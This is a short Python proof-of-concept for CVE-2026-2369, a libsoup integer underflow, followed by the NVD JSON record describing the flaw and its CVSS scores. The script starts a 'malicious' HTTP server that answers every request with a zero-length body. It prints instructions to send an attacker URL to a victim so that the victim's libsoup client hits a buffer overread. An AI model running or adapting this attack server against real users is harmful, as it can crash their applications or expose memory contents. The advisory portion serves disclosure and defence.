CVE-2026-2369

import socket import http.server import threading class ExploitHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Send response with zero-length content to trigger integer underflow self.send_response(200) self.send_header('Content-Length', '0') self.send_header('Content-Type', 'application/octet-stream') self.end_headers() # No body sent - Content-Length is 0 def log_message(self, format, *args): pass # Suppress logging def start_malicious_server(port=8888): server = http.server.HTTPServer(('0.0.0.0', port), ExploitHandler) thread = threading.Thread(target=server.serve_forever) thread.daemon = True thread.start() return server def test_vulnerability(): """ CVE-2026-2369 PoC - libsoup Integer Underflow This PoC demonstrates triggering the vulnerability by serving an HTTP response with zero Content-Length. """ print('[+] Starting malicious HTTP server...') server = start_malicious_server() print(f'[+] Server running on port 8888') print('[+] Send this URL to victim: http://attacker:8888/resource') print('[+] When libsoup client processes the response,') print('[+] the zero Content-Length triggers integer underflow') print('[+] Press Ctrl+C to stop server') try: server.serve_forever() except KeyboardInterrupt: print('\n[!] Server stopped') server.shutdown() if __name__ == '__main__': test_vulnerability()

{"cve": {"id": "CVE-2026-2369", "sourceIdentifier": "[email protected]", "published": "2026-03-19T15:16:25.603", "lastModified": "2026-04-28T21:29:20.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libsoup. An integer underflow vulnerability occurs when processing content with a zero-length resource, leading to a buffer overread. This can allow an attacker to potentially access sensitive information or cause an application level denial of service."}, {"lang": "es", "value": "Se encontró un fallo en libsoup. Una vulnerabilidad de subdesbordamiento de enteros ocurre al procesar contenido con un recurso de longitud cero, lo que lleva a una lectura excesiva del búfer. Esto puede permitir a un atacante acceder potencialmente a información sensible o causar una denegación de servicio a nivel de aplicación."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnome:libsoup:-:*:*:*:*:*:*:*", "matchCriteriaId": "C5BAC4F4-3ACD-4F4D-920C-F920FD2C5472"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-2369", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439091", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/498", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}